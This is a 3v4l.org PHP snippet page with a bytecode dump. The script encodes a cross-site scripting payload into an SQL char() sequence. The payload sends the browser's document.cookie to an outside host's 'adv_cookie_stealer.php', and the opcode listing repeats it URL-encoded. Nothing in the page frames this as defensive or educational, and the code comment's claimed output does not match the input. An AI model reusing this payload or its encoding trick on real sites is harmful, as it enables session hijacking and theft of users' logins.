3v4l.org

run code in 300+ PHP versions simultaneously
<?php function AsciiToInt($char){ $success = ""; if(strlen($char) == 1) return "char(".ord($char).")"; else{ for($i = 0; $i < strlen($char); $i++){ if($i == strlen($char) - 1) $success = $success.ord($char[$i]); else $success = $success.ord($char[$i]).","; } return "char(".$success.")"; } } echo AsciiToInt("<script language='JavaScript'>location.href='http://skrubbeltrang.t15.org/adv_cookie_stealer.php?c='+document.cookie;</script>");//outputs char(60,98,114,62) ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/VJIZX
function name:  (null)
number of ops:  5
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   16     0  E >   INIT_FCALL                                               'asciitoint'
          1        SEND_VAL                                                 '%3Cscript+language%3D%27JavaScript%27%3Elocation.href%3D%27http%3A%2F%2Fskrubbeltrang.t15.org%2Fadv_cookie_stealer.php%3Fc%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3E'
          2        DO_FCALL                                      0  $0      
          3        ECHO                                                     $0
   17     4      > RETURN                                                   1

Function asciitoint:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 5, Position 2 = 12
Branch analysis from position: 5
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 12
1 jumps found. (Code = 42) Position 1 = 33
Branch analysis from position: 33
2 jumps found. (Code = 44) Position 1 = 36, Position 2 = 14
Branch analysis from position: 36
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 14
2 jumps found. (Code = 43) Position 1 = 18, Position 2 = 25
Branch analysis from position: 18
1 jumps found. (Code = 42) Position 1 = 32
Branch analysis from position: 32
2 jumps found. (Code = 44) Position 1 = 36, Position 2 = 14
Branch analysis from position: 36
Branch analysis from position: 14
Branch analysis from position: 25
2 jumps found. (Code = 44) Position 1 = 36, Position 2 = 14
Branch analysis from position: 36
Branch analysis from position: 14
filename:       /in/VJIZX
function name:  AsciiToInt
number of ops:  40
compiled vars:  !0 = $char, !1 = $success, !2 = $i
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   RECV                                             !0      
    3     1        ASSIGN                                                   !1, ''
    4     2        STRLEN                                           ~4      !0
          3        IS_EQUAL                                                 ~4, 1
          4      > JMPZ                                                     ~5, ->12
    5     5    >   INIT_FCALL                                               'ord'
          6        SEND_VAR                                                 !0
          7        DO_ICALL                                         $6      
          8        CONCAT                                           ~7      'char%28', $6
          9        CONCAT                                           ~8      ~7, '%29'
         10      > RETURN                                                   ~8
         11*       JMP                                                      ->39
    7    12    >   ASSIGN                                                   !2, 0
         13      > JMP                                                      ->33
    8    14    >   STRLEN                                           ~10     !0
         15        SUB                                              ~11     ~10, 1
         16        IS_EQUAL                                                 !2, ~11
         17      > JMPZ                                                     ~12, ->25
    9    18    >   INIT_FCALL                                               'ord'
         19        FETCH_DIM_R                                      ~13     !0, !2
         20        SEND_VAL                                                 ~13
         21        DO_ICALL                                         $14     
         22        CONCAT                                           ~15     !1, $14
         23        ASSIGN                                                   !1, ~15
         24      > JMP                                                      ->32
   11    25    >   INIT_FCALL                                               'ord'
         26        FETCH_DIM_R                                      ~17     !0, !2
         27        SEND_VAL                                                 ~17
         28        DO_ICALL                                         $18     
         29        CONCAT                                           ~19     !1, $18
         30        CONCAT                                           ~20     ~19, '%2C'
         31        ASSIGN                                                   !1, ~20
    7    32    >   PRE_INC                                                  !2
         33    >   STRLEN                                           ~23     !0
         34        IS_SMALLER                                               !2, ~23
         35      > JMPNZ                                                    ~24, ->14
   13    36    >   CONCAT                                           ~25     'char%28', !1
         37        CONCAT                                           ~26     ~25, '%29'
         38      > RETURN                                                   ~26
   15    39*     > RETURN                                                   null

End of function asciitoint

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
175.55 ms | 1403 KiB | 16 Q